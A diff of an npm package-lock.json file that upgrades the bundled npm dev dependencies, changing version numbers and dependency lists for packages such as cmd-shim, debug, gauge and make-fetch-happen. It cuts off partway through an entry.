{ - "version": "0.5.1", + "version": "0.6.0", "bundled": true, "dev": true, "requires": { "colors": "^1.1.2", "object-assign": "^4.1.0", - "string-width": "^2.1.1" - } - }, - "cliui": { - "version": "5.0.0", - "bundled": true, - "dev": true, - "requires": { - "string-width": "^3.1.0", - "strip-ansi": "^5.2.0", - "wrap-ansi": "^5.1.0" + "string-width": "^4.2.0" }, "dependencies": { "ansi-regex": { - "version": "4.1.0", + "version": "5.0.0", "bundled": true, "dev": true }, "is-fullwidth-code-point": { - "version": "2.0.0", + "version": "3.0.0", "bundled": true, "dev": true }, "string-width": { - "version": "3.1.0", + "version": "4.2.2", "bundled": true, "dev": true, "requires": { - "emoji-regex": "^7.0.1", - "is-fullwidth-code-point": "^2.0.0", - "strip-ansi": "^5.1.0" + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.0" } }, "strip-ansi": { - "version": "5.2.0", + "version": "6.0.0", "bundled": true, "dev": true, "requires": { - "ansi-regex": "^4.1.0" + "ansi-regex": "^5.0.0" } } } @@ -10166,12 +10208,11 @@ "dev": true }, "cmd-shim": { - "version": "3.0.3", + "version": "4.1.0", "bundled": true, "dev": true, "requires": { - "graceful-fs": "^4.1.2", - "mkdirp": "~0.5.0" + "mkdirp-infer-owner": "^2.0.0" } }, "code-point-at": { @@ -10180,20 +10221,25 @@ "dev": true }, "color-convert": { - "version": "1.9.1", + "version": "2.0.1", "bundled": true, "dev": true, "requires": { - "color-name": "^1.1.1" + "color-name": "~1.1.4" } }, "color-name": { + "version": "1.1.4", + "bundled": true, + "dev": true + }, + "color-support": { "version": "1.1.3", "bundled": true, "dev": true }, "colors": { - "version": "1.3.3", + "version": "1.4.0", "bundled": true, "dev": true, "optional": true @@ -10208,154 +10254,33 @@ } }, "combined-stream": { - "version": "1.0.6", + "version": "1.0.8", "bundled": true, "dev": true, "requires": { "delayed-stream": "~1.0.0" } }, + "common-ancestor-path": { + "version": "1.0.1", + "bundled": true, + "dev": true + }, "concat-map": { "version": "0.0.1", "bundled": true, "dev": true }, - "concat-stream": { - "version": "1.6.2", - "bundled": true, - "dev": true, - "requires": { - "buffer-from": "^1.0.0", - "inherits": "^2.0.3", - "readable-stream": "^2.2.2", - "typedarray": "^0.0.6" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, - "config-chain": { - "version": "1.1.12", - "bundled": true, - "dev": true, - "requires": { - "ini": "^1.3.4", - "proto-list": "~1.2.1" - } - }, - "configstore": { - "version": "3.1.5", - "bundled": true, - "dev": true, - "requires": { - "dot-prop": "^4.2.1", - "graceful-fs": "^4.1.2", - "make-dir": "^1.0.0", - "unique-string": "^1.0.0", - "write-file-atomic": "^2.0.0", - "xdg-basedir": "^3.0.0" - } - }, "console-control-strings": { "version": "1.1.0", "bundled": true, "dev": true }, - "copy-concurrently": { - "version": "1.0.5", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.1", - "fs-write-stream-atomic": "^1.0.8", - "iferr": "^0.1.5", - "mkdirp": "^0.5.1", - "rimraf": "^2.5.4", - "run-queue": "^1.0.0" - }, - "dependencies": { - "aproba": { - "version": "1.2.0", - "bundled": true, - "dev": true - }, - "iferr": { - "version": "0.1.5", - "bundled": true, - "dev": true - } - } - }, "core-util-is": { "version": "1.0.2", "bundled": true, "dev": true }, - "create-error-class": { - "version": "3.0.2", - "bundled": true, - "dev": true, - "requires": { - "capture-stack-trace": "^1.0.0" - } - }, - "cross-spawn": { - "version": "5.1.0", - "bundled": true, - "dev": true, - "requires": { - "lru-cache": "^4.0.1", - "shebang-command": "^1.2.0", - "which": "^1.2.9" - }, - "dependencies": { - "lru-cache": { - "version": "4.1.5", - "bundled": true, - "dev": true, - "requires": { - "pseudomap": "^1.0.2", - "yallist": "^2.1.2" - } - }, - "yallist": { - "version": "2.1.2", - "bundled": true, - "dev": true - } - } - }, - "crypto-random-string": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, - "cyclist": { - "version": "0.2.2", - "bundled": true, - "dev": true - }, "dashdash": { "version": "1.14.1", "bundled": true, @@ -10365,15 +10290,15 @@ } }, "debug": { - "version": "3.1.0", + "version": "4.3.2", "bundled": true, "dev": true, "requires": { - "ms": "2.0.0" + "ms": "2.1.2" }, "dependencies": { "ms": { - "version": "2.0.0", + "version": "2.1.2", "bundled": true, "dev": true } @@ -10384,21 +10309,6 @@ "bundled": true, "dev": true }, - "decamelize": { - "version": "1.2.0", - "bundled": true, - "dev": true - }, - "decode-uri-component": { - "version": "0.2.0", - "bundled": true, - "dev": true - }, - "deep-extend": { - "version": "0.6.0", - "bundled": true, - "dev": true - }, "defaults": { "version": "1.0.3", "bundled": true, @@ -10407,14 +10317,6 @@ "clone": "^1.0.2" } }, - "define-properties": { - "version": "1.1.3", - "bundled": true, - "dev": true, - "requires": { - "object-keys": "^1.0.12" - } - }, "delayed-stream": { "version": "1.0.0", "bundled": true, @@ -10425,13 +10327,8 @@ "bundled": true, "dev": true }, - "detect-indent": { - "version": "5.0.0", - "bundled": true, - "dev": true - }, - "detect-newline": { - "version": "2.1.0", + "depd": { + "version": "1.1.2", "bundled": true, "dev": true }, @@ -10444,174 +10341,44 @@ "wrappy": "1" } }, - "dot-prop": { - "version": "4.2.1", - "bundled": true, - "dev": true, - "requires": { - "is-obj": "^1.0.0" - } - }, - "dotenv": { - "version": "5.0.1", + "diff": { + "version": "5.0.0", "bundled": true, "dev": true }, - "duplexer3": { - "version": "0.1.4", - "bundled": true, - "dev": true - }, - "duplexify": { - "version": "3.6.0", - "bundled": true, - "dev": true, - "requires": { - "end-of-stream": "^1.0.0", - "inherits": "^2.0.1", - "readable-stream": "^2.0.0", - "stream-shift": "^1.0.0" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, "ecc-jsbn": { "version": "0.1.2", "bundled": true, "dev": true, - "optional": true, "requires": { "jsbn": "~0.1.0", "safer-buffer": "^2.1.0" } }, - "editor": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, "emoji-regex": { - "version": "7.0.3", + "version": "8.0.0", "bundled": true, "dev": true }, "encoding": { - "version": "0.1.12", + "version": "0.1.13", "bundled": true, "dev": true, + "optional": true, "requires": { - "iconv-lite": "~0.4.13" - } - }, - "end-of-stream": { - "version": "1.4.1", - "bundled": true, - "dev": true, - "requires": { - "once": "^1.4.0" + "iconv-lite": "^0.6.2" } }, "env-paths": { - "version": "2.2.0", + "version": "2.2.1", "bundled": true, "dev": true }, "err-code": { - "version": "1.1.2", + "version": "2.0.3", "bundled": true, "dev": true }, - "errno": { - "version": "0.1.7", - "bundled": true, - "dev": true, - "requires": { - "prr": "~1.0.1" - } - }, - "es-abstract": { - "version": "1.12.0", - "bundled": true, - "dev": true, - "requires": { - "es-to-primitive": "^1.1.1", - "function-bind": "^1.1.1", - "has": "^1.0.1", - "is-callable": "^1.1.3", - "is-regex": "^1.0.4" - } - }, - "es-to-primitive": { - "version": "1.2.0", - "bundled": true, - "dev": true, - "requires": { - "is-callable": "^1.1.4", - "is-date-object": "^1.0.1", - "is-symbol": "^1.0.2" - } - }, - "es6-promise": { - "version": "4.2.8", - "bundled": true, - "dev": true - }, - "es6-promisify": { - "version": "5.0.0", - "bundled": true, - "dev": true, - "requires": { - "es6-promise": "^4.0.3" - } - }, - "escape-string-regexp": { - "version": "1.0.5", - "bundled": true, - "dev": true - }, - "execa": { - "version": "0.7.0", - "bundled": true, - "dev": true, - "requires": { - "cross-spawn": "^5.0.1", - "get-stream": "^3.0.0", - "is-stream": "^1.1.0", - "npm-run-path": "^2.0.0", - "p-finally": "^1.0.0", - "signal-exit": "^3.0.0", - "strip-eof": "^1.0.0" - }, - "dependencies": { - "get-stream": { - "version": "3.0.0", - "bundled": true, - "dev": true - } - } - }, "extend": { "version": "3.0.2", "bundled": true, @@ -10622,169 +10389,32 @@ "bundled": true, "dev": true }, + "fast-deep-equal": { + "version": "3.1.3", + "bundled": true, + "dev": true + }, "fast-json-stable-stringify": { - "version": "2.0.0", + "version": "2.1.0", "bundled": true, "dev": true }, - "figgy-pudding": { - "version": "3.5.1", + "fastest-levenshtein": { + "version": "1.0.12", "bundled": true, "dev": true }, - "find-npm-prefix": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, - "flush-write-stream": { - "version": "1.0.3", - "bundled": true, - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.4" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, "forever-agent": { "version": "0.6.1", "bundled": true, "dev": true }, - "form-data": { - "version": "2.3.2", - "bundled": true, - "dev": true, - "requires": { - "asynckit": "^0.4.0", - "combined-stream": "1.0.6", - "mime-types": "^2.1.12" - } - }, - "from2": { - "version": "2.3.0", - "bundled": true, - "dev": true, - "requires": { - "inherits": "^2.0.1", - "readable-stream": "^2.0.0" - }, - "dependencies": { - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } - } - }, "fs-minipass": { - "version": "1.2.7", + "version": "2.1.0", "bundled": true, "dev": true, "requires": { - "minipass": "^2.6.0" - }, - "dependencies": { - "minipass": { - "version": "2.9.0", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - } - } - } - }, - "fs-vacuum": { - "version": "1.2.10", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "path-is-inside": "^1.0.1", - "rimraf": "^2.5.2" - } - }, - "fs-write-stream-atomic": { - "version": "1.0.10", - "bundled": true, - "dev": true, - "requires": { - "graceful-fs": "^4.1.2", - "iferr": "^0.1.5", - "imurmurhash": "^0.1.4", - "readable-stream": "1 || 2" - }, - "dependencies": { - "iferr": { - "version": "0.1.5", - "bundled": true, - "dev": true - }, - "readable-stream": { - "version": "2.3.6", - "bundled": true, - "dev": true, - "requires": { - "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" - } - }, - "string_decoder": { - "version": "1.1.1", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "~5.1.0" - } - } + "minipass": "^3.0.0" } }, "fs.realpath": { @@ -10798,83 +10428,19 @@ "dev": true }, "gauge": { - "version": "2.7.4", + "version": "3.0.1", "bundled": true, "dev": true, "requires": { - "aproba": "^1.0.3", + "aproba": "^1.0.3 || ^2.0.0", + "color-support": "^1.1.2", "console-control-strings": "^1.0.0", - "has-unicode": "^2.0.0", - "object-assign": "^4.1.0", + "has-unicode": "^2.0.1", + "object-assign": "^4.1.1", "signal-exit": "^3.0.0", - "string-width": "^1.0.1", - "strip-ansi": "^3.0.1", - "wide-align": "^1.1.0" - }, - "dependencies": { - "aproba": { - "version": "1.2.0", - "bundled": true, - "dev": true - }, - "string-width": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "requires": { - "code-point-at": "^1.0.0", - "is-fullwidth-code-point": "^1.0.0", - "strip-ansi": "^3.0.0" - } - } - } - }, - "genfun": { - "version": "5.0.0", - "bundled": true, - "dev": true - }, - "gentle-fs": { - "version": "2.3.1", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^1.1.2", - "chownr": "^1.1.2", - "cmd-shim": "^3.0.3", - "fs-vacuum": "^1.2.10", - "graceful-fs": "^4.1.11", - "iferr": "^0.1.5", - "infer-owner": "^1.0.4", - "mkdirp": "^0.5.1", - "path-is-inside": "^1.0.2", - "read-cmd-shim": "^1.0.1", - "slide": "^1.1.6" - }, - "dependencies": { - "aproba": { - "version": "1.2.0", - "bundled": true, - "dev": true - }, - "iferr": { - "version": "0.1.5", - "bundled": true, - "dev": true - } - } - }, - "get-caller-file": { - "version": "2.0.5", - "bundled": true, - "dev": true - }, - "get-stream": { - "version": "4.1.0", - "bundled": true, - "dev": true, - "requires": { - "pump": "^3.0.0" + "string-width": "^1.0.1 || ^2.0.0", + "strip-ansi": "^3.0.1 || ^4.0.0", + "wide-align": "^1.1.2" } }, "getpass": { @@ -10886,7 +10452,7 @@ } }, "glob": { - "version": "7.1.6", + "version": "7.1.7", "bundled": true, "dev": true, "requires": { @@ -10898,41 +10464,8 @@ "path-is-absolute": "^1.0.0" } }, - "global-dirs": { - "version": "0.1.1", - "bundled": true, - "dev": true, - "requires": { - "ini": "^1.3.4" - } - }, - "got": { - "version": "6.7.1", - "bundled": true, - "dev": true, - "requires": { - "create-error-class": "^3.0.0", - "duplexer3": "^0.1.4", - "get-stream": "^3.0.0", - "is-redirect": "^1.0.0", - "is-retry-allowed": "^1.0.0", - "is-stream": "^1.0.0", - "lowercase-keys": "^1.0.0", - "safe-buffer": "^5.0.1", - "timed-out": "^4.0.0", - "unzip-response": "^2.0.1", - "url-parse-lax": "^1.0.0" - }, - "dependencies": { - "get-stream": { - "version": "3.0.0", - "bundled": true, - "dev": true - } - } - }, "graceful-fs": { - "version": "4.2.4", + "version": "4.2.8", "bundled": true, "dev": true }, @@ -10948,29 +10481,6 @@ "requires": { "ajv": "^6.12.3", "har-schema": "^2.0.0" - }, - "dependencies": { - "ajv": { - "version": "6.12.6", - "bundled": true, - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "fast-deep-equal": { - "version": "3.1.3", - "bundled": true, - "dev": true - }, - "json-schema-traverse": { - "version": "0.4.1", - "bundled": true, - "dev": true - } } }, "has": { @@ -10982,12 +10492,7 @@ } }, "has-flag": { - "version": "3.0.0", - "bundled": true, - "dev": true - }, - "has-symbols": { - "version": "1.0.0", + "version": "4.0.0", "bundled": true, "dev": true }, @@ -10997,22 +10502,26 @@ "dev": true }, "hosted-git-info": { - "version": "2.8.9", + "version": "4.0.2", "bundled": true, - "dev": true + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } }, "http-cache-semantics": { - "version": "3.8.1", + "version": "4.1.0", "bundled": true, "dev": true }, "http-proxy-agent": { - "version": "2.1.0", + "version": "4.0.1", "bundled": true, "dev": true, "requires": { - "agent-base": "4", - "debug": "3.1.0" + "@tootallnate/once": "1", + "agent-base": "6", + "debug": "4" } }, "http-signature": { @@ -11026,12 +10535,12 @@ } }, "https-proxy-agent": { - "version": "2.2.4", + "version": "5.0.0", "bundled": true, "dev": true, "requires": { - "agent-base": "^4.3.0", - "debug": "^3.1.0" + "agent-base": "6", + "debug": "4" } }, "humanize-ms": { @@ -11043,33 +10552,29 @@ } }, "iconv-lite": { - "version": "0.4.23", + "version": "0.6.3", "bundled": true, "dev": true, + "optional": true, "requires": { - "safer-buffer": ">= 2.1.2 < 3" + "safer-buffer": ">= 2.1.2 < 3.0.0" } }, - "iferr": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, "ignore-walk": { - "version": "3.0.3", + "version": "3.0.4", "bundled": true, "dev": true, "requires": { "minimatch": "^3.0.4" } }, - "import-lazy": { - "version": "2.1.0", + "imurmurhash": { + "version": "0.1.4", "bundled": true, "dev": true }, - "imurmurhash": { - "version": "0.1.4", + "indent-string": { + "version": "4.0.0", "bundled": true, "dev": true }, @@ -11093,22 +10598,21 @@ "dev": true }, "ini": { - "version": "1.3.8", + "version": "2.0.0", "bundled": true, "dev": true }, "init-package-json": { - "version": "1.10.3", + "version": "2.0.5", "bundled": true, "dev": true, "requires": { - "glob": "^7.1.1", - "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", + "npm-package-arg": "^8.1.5", "promzard": "^0.3.0", "read": "~1.0.1", - "read-package-json": "1 || 2", - "semver": "2.x || 3.x || 4 || 5", - "validate-npm-package-license": "^3.0.1", + "read-package-json": "^4.1.1", + "semver": "^7.3.5", + "validate-npm-package-license": "^3.0.4", "validate-npm-package-name": "^3.0.0" } }, @@ -11118,119 +10622,41 @@ "dev": true }, "ip-regex": { - "version": "2.1.0", + "version": "4.3.0", "bundled": true, "dev": true }, - "is-callable": { - "version": "1.1.4", - "bundled": true, - "dev": true - }, - "is-ci": { - "version": "1.2.1", - "bundled": true, - "dev": true, - "requires": { - "ci-info": "^1.5.0" - }, - "dependencies": { - "ci-info": { - "version": "1.6.0", - "bundled": true, - "dev": true - } - } - }, "is-cidr": { - "version": "3.0.0", + "version": "4.0.2", "bundled": true, "dev": true, "requires": { - "cidr-regex": "^2.0.10" + "cidr-regex": "^3.1.1" } }, - "is-date-object": { - "version": "1.0.1", + "is-core-module": { + "version": "2.6.0", "bundled": true, - "dev": true + "dev": true, + "requires": { + "has": "^1.0.3" + } }, "is-fullwidth-code-point": { - "version": "1.0.0", - "bundled": true, - "dev": true, - "requires": { - "number-is-nan": "^1.0.0" - } - }, - "is-installed-globally": { - "version": "0.1.0", - "bundled": true, - "dev": true, - "requires": { - "global-dirs": "^0.1.0", - "is-path-inside": "^1.0.0" - } - }, - "is-npm": { - "version": "1.0.0", + "version": "2.0.0", "bundled": true, "dev": true }, - "is-obj": { + "is-lambda": { "version": "1.0.1", "bundled": true, "dev": true }, - "is-path-inside": { - "version": "1.0.1", - "bundled": true, - "dev": true, - "requires": { - "path-is-inside": "^1.0.1" - } - }, - "is-redirect": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, - "is-regex": { - "version": "1.0.4", - "bundled": true, - "dev": true, - "requires": { - "has": "^1.0.1" - } - }, - "is-retry-allowed": { - "version": "1.2.0", - "bundled": true, - "dev": true - }, - "is-stream": { - "version": "1.1.0", - "bundled": true, - "dev": true - }, - "is-symbol": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "requires": { - "has-symbols": "^1.0.0" - } - }, "is-typedarray": { "version": "1.0.0", "bundled": true, "dev": true }, - "isarray": { - "version": "1.0.0", - "bundled": true, - "dev": true - }, "isexe": { "version": "2.0.0", "bundled": true, @@ -11244,11 +10670,10 @@ "jsbn": { "version": "0.1.1", "bundled": true, - "dev": true, - "optional": true + "dev": true }, - "json-parse-better-errors": { - "version": "1.0.2", + "json-parse-even-better-errors": { + "version": "2.3.1", "bundled": true, "dev": true }, @@ -11257,6 +10682,16 @@ "bundled": true, "dev": true }, + "json-schema-traverse": { + "version": "0.4.1", + "bundled": true, + "dev": true + }, + "json-stringify-nice": { + "version": "1.1.4", + "bundled": true, + "dev": true + }, "json-stringify-safe": { "version": "5.0.1", "bundled": true, @@ -11278,347 +10713,179 @@ "verror": "1.10.0" } }, - "latest-version": { - "version": "3.1.0", - "bundled": true, - "dev": true, - "requires": { - "package-json": "^4.0.0" - } - }, - "lazy-property": { - "version": "1.0.0", + "just-diff": { + "version": "3.1.1", "bundled": true, "dev": true }, - "libcipm": { - "version": "4.0.8", + "just-diff-apply": { + "version": "3.0.0", "bundled": true, - "dev": true, - "requires": { - "bin-links": "^1.1.2", - "bluebird": "^3.5.1", - "figgy-pudding": "^3.5.1", - "find-npm-prefix": "^1.0.2", - "graceful-fs": "^4.1.11", - "ini": "^1.3.5", - "lock-verify": "^2.1.0", - "mkdirp": "^0.5.1", - "npm-lifecycle": "^3.0.0", - "npm-logical-tree": "^1.2.1", - "npm-package-arg": "^6.1.0", - "pacote": "^9.1.0", - "read-package-json": "^2.0.13", - "rimraf": "^2.6.2", - "worker-farm": "^1.6.0" - } - }, - "libnpm": { - "version": "3.0.1", - "bundled": true, - "dev": true, - "requires": { - "bin-links": "^1.1.2", - "bluebird": "^3.5.3", - "find-npm-prefix": "^1.0.2", - "libnpmaccess": "^3.0.2", - "libnpmconfig": "^1.2.1", - "libnpmhook": "^5.0.3", - "libnpmorg": "^1.0.1", - "libnpmpublish": "^1.1.2", - "libnpmsearch": "^2.0.2", - "libnpmteam": "^1.0.2", - "lock-verify": "^2.0.2", - "npm-lifecycle": "^3.0.0", - "npm-logical-tree": "^1.2.1", - "npm-package-arg": "^6.1.0", - "npm-profile": "^4.0.2", - "npm-registry-fetch": "^4.0.0", - "npmlog": "^4.1.2", - "pacote": "^9.5.3", - "read-package-json": "^2.0.13", - "stringify-package": "^1.0.0" - } + "dev": true }, "libnpmaccess": { - "version": "3.0.2", + "version": "4.0.3", "bundled": true, "dev": true, "requires": { "aproba": "^2.0.0", - "get-stream": "^4.0.0", - "npm-package-arg": "^6.1.0", - "npm-registry-fetch": "^4.0.0" + "minipass": "^3.1.1", + "npm-package-arg": "^8.1.2", + "npm-registry-fetch": "^11.0.0" } }, - "libnpmconfig": { - "version": "1.2.1", + "libnpmdiff": { + "version": "2.0.4", "bundled": true, "dev": true, "requires": { - "figgy-pudding": "^3.5.1", - "find-up": "^3.0.0", - "ini": "^1.3.5" - }, - "dependencies": { - "find-up": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "locate-path": "^3.0.0" - } - }, - "locate-path": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "p-locate": "^3.0.0", - "path-exists": "^3.0.0" - } - }, - "p-limit": { - "version": "2.2.0", - "bundled": true, - "dev": true, - "requires": { - "p-try": "^2.0.0" - } - }, - "p-locate": { - "version": "3.0.0", - "bundled": true, - "dev": true, - "requires": { - "p-limit": "^2.0.0" - } - }, - "p-try": { - "version": "2.2.0", - "bundled": true, - "dev": true - } + "@npmcli/disparity-colors": "^1.0.1", + "@npmcli/installed-package-contents": "^1.0.7", + "binary-extensions": "^2.2.0", + "diff": "^5.0.0", + "minimatch": "^3.0.4", + "npm-package-arg": "^8.1.4", + "pacote": "^11.3.4", + "tar": "^6.1.0" + } + }, + "libnpmexec": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "requires": { + "@npmcli/arborist": "^2.3.0", + "@npmcli/ci-detect": "^1.3.0", + "@npmcli/run-script": "^1.8.4", + "chalk": "^4.1.0", + "mkdirp-infer-owner": "^2.0.0", + "npm-package-arg": "^8.1.2", + "pacote": "^11.3.1", + "proc-log": "^1.0.0", + "read": "^1.0.7", + "read-package-json-fast": "^2.0.2", + "walk-up-path": "^1.0.0" + } + }, + "libnpmfund": { + "version": "1.1.0", + "bundled": true, + "dev": true, + "requires": { + "@npmcli/arborist": "^2.5.0" } }, "libnpmhook": { - "version": "5.0.3", + "version": "6.0.3", "bundled": true, "dev": true, "requires": { "aproba": "^2.0.0", - "figgy-pudding": "^3.4.1", - "get-stream": "^4.0.0", - "npm-registry-fetch": "^4.0.0" + "npm-registry-fetch": "^11.0.0" } }, "libnpmorg": { - "version": "1.0.1", + "version": "2.0.3", "bundled": true, "dev": true, "requires": { "aproba": "^2.0.0", - "figgy-pudding": "^3.4.1", - "get-stream": "^4.0.0", - "npm-registry-fetch": "^4.0.0" + "npm-registry-fetch": "^11.0.0" + } + }, + "libnpmpack": { + "version": "2.0.1", + "bundled": true, + "dev": true, + "requires": { + "@npmcli/run-script": "^1.8.3", + "npm-package-arg": "^8.1.0", + "pacote": "^11.2.6" } }, "libnpmpublish": { - "version": "1.1.2", + "version": "4.0.2", "bundled": true, "dev": true, "requires": { - "aproba": "^2.0.0", - "figgy-pudding": "^3.5.1", - "get-stream": "^4.0.0", - "lodash.clonedeep": "^4.5.0", - "normalize-package-data": "^2.4.0", - "npm-package-arg": "^6.1.0", - "npm-registry-fetch": "^4.0.0", - "semver": "^5.5.1", - "ssri": "^6.0.1" + "normalize-package-data": "^3.0.2", + "npm-package-arg": "^8.1.2", + "npm-registry-fetch": "^11.0.0", + "semver": "^7.1.3", + "ssri": "^8.0.1" } }, "libnpmsearch": { - "version": "2.0.2", - "bundled": true, - "dev": true, - "requires": { - "figgy-pudding": "^3.5.1", - "get-stream": "^4.0.0", - "npm-registry-fetch": "^4.0.0" - } - }, - "libnpmteam": { - "version": "1.0.2", - "bundled": true, - "dev": true, - "requires": { - "aproba": "^2.0.0", - "figgy-pudding": "^3.4.1", - "get-stream": "^4.0.0", - "npm-registry-fetch": "^4.0.0" - } - }, - "libnpx": { - "version": "10.2.4", - "bundled": true, - "dev": true, - "requires": { - "dotenv": "^5.0.1", - "npm-package-arg": "^6.0.0", - "rimraf": "^2.6.2", - "safe-buffer": "^5.1.0", - "update-notifier": "^2.3.0", - "which": "^1.3.0", - "y18n": "^4.0.0", - "yargs": "^14.2.3" - } - }, - "lock-verify": { - "version": "2.1.0", - "bundled": true, - "dev": true, - "requires": { - "npm-package-arg": "^6.1.0", - "semver": "^5.4.1" - } - }, - "lockfile": { - "version": "1.0.4", - "bundled": true, - "dev": true, - "requires": { - "signal-exit": "^3.0.2" - } - }, - "lodash._baseindexof": { - "version": "3.1.0", - "bundled": true, - "dev": true - }, - "lodash._baseuniq": { - "version": "4.6.0", - "bundled": true, - "dev": true, - "requires": { - "lodash._createset": "~4.0.0", - "lodash._root": "~3.0.0" - } - }, - "lodash._bindcallback": { - "version": "3.0.1", - "bundled": true, - "dev": true - }, - "lodash._cacheindexof": { - "version": "3.0.2", - "bundled": true, - "dev": true - }, - "lodash._createcache": { "version": "3.1.2", "bundled": true, "dev": true, "requires": { - "lodash._getnative": "^3.0.0" + "npm-registry-fetch": "^11.0.0" } }, - "lodash._createset": { - "version": "4.0.3", + "libnpmteam": { + "version": "2.0.4", "bundled": true, - "dev": true + "dev": true, + "requires": { + "aproba": "^2.0.0", + "npm-registry-fetch": "^11.0.0" + } }, - "lodash._getnative": { - "version": "3.9.1", + "libnpmversion": { + "version": "1.2.1", "bundled": true, - "dev": true - }, - "lodash._root": { - "version": "3.0.1", - "bundled": true, - "dev": true - }, - "lodash.clonedeep": { - "version": "4.5.0", - "bundled": true, - "dev": true - }, - "lodash.restparam": { - "version": "3.6.1", - "bundled": true, - "dev": true - }, - "lodash.union": { - "version": "4.6.0", - "bundled": true, - "dev": true - }, - "lodash.uniq": { - "version": "4.5.0", - "bundled": true, - "dev": true - }, - "lodash.without": { - "version": "4.4.0", - "bundled": true, - "dev": true - }, - "lowercase-keys": { - "version": "1.0.1", - "bundled": true, - "dev": true + "dev": true, + "requires": { + "@npmcli/git": "^2.0.7", + "@npmcli/run-script": "^1.8.4", + "json-parse-even-better-errors": "^2.3.1", + "semver": "^7.3.5", + "stringify-package": "^1.0.1" + } }, "lru-cache": { - "version": "5.1.1", + "version": "6.0.0", "bundled": true, "dev": true, "requires": { - "yallist": "^3.0.2" - } - }, - "make-dir": { - "version": "1.3.0", - "bundled": true, - "dev": true, - "requires": { - "pify": "^3.0.0" + "yallist": "^4.0.0" } }, "make-fetch-happen": { - "version": "5.0.2", + "version": "9.1.0", "bundled": true, "dev": true, "requires": { - "agentkeepalive": "^3.4.1", - "cacache": "^12.0.0", - "http-cache-semantics": "^3.8.1", - "http-proxy-agent": "^2.1.0", - "https-proxy-agent": "^2.2.3", - "lru-cache": "^5.1.1", - "mississippi": "^3.0.0", - "node-fetch-npm": "^2.0.2", - "promise-retry": "^1.1.1", - "socks-proxy-agent": "^4.0.0", - "ssri": "^6.0.0" + "agentkeepalive": "^4.1.3", + "cacache": "^15.2.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^4.0.1", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^6.0.0", + "minipass": "^3.1.3", + "minipass-collect": "^1.0.2", + "minipass-fetch": "^1.3.2", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.2", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^6.0.0", + "ssri": "^8.0.0" } }, - "meant": { - "version": "1.0.2", - "bundled": true, - "dev": true - }, "mime-db": { - "version": "1.35.0", + "version": "1.49.0", "bundled": true, "dev": true }, "mime-types": { - "version": "2.1.19", + "version": "2.1.32", "bundled": true, "dev": true, "requires": { - "mime-db": "~1.35.0" + "mime-db": "1.49.0" } }, "minimatch": { @@ -11629,273 +10896,272 @@ "brace-expansion": "^1.1.7" } }, - "minimist": { - "version": "1.2.5", - "bundled": true, - "dev": true - }, - "minizlib": { - "version": "1.3.3", + "minipass": { + "version": "3.1.5", "bundled": true, "dev": true, "requires": { - "minipass": "^2.9.0" - }, - "dependencies": { - "minipass": { - "version": "2.9.0", - "bundled": true, - "dev": true, - "requires": { - "safe-buffer": "^5.1.2", - "yallist": "^3.0.0" - } - } + "yallist": "^4.0.0" } }, - "mississippi": { - "version": 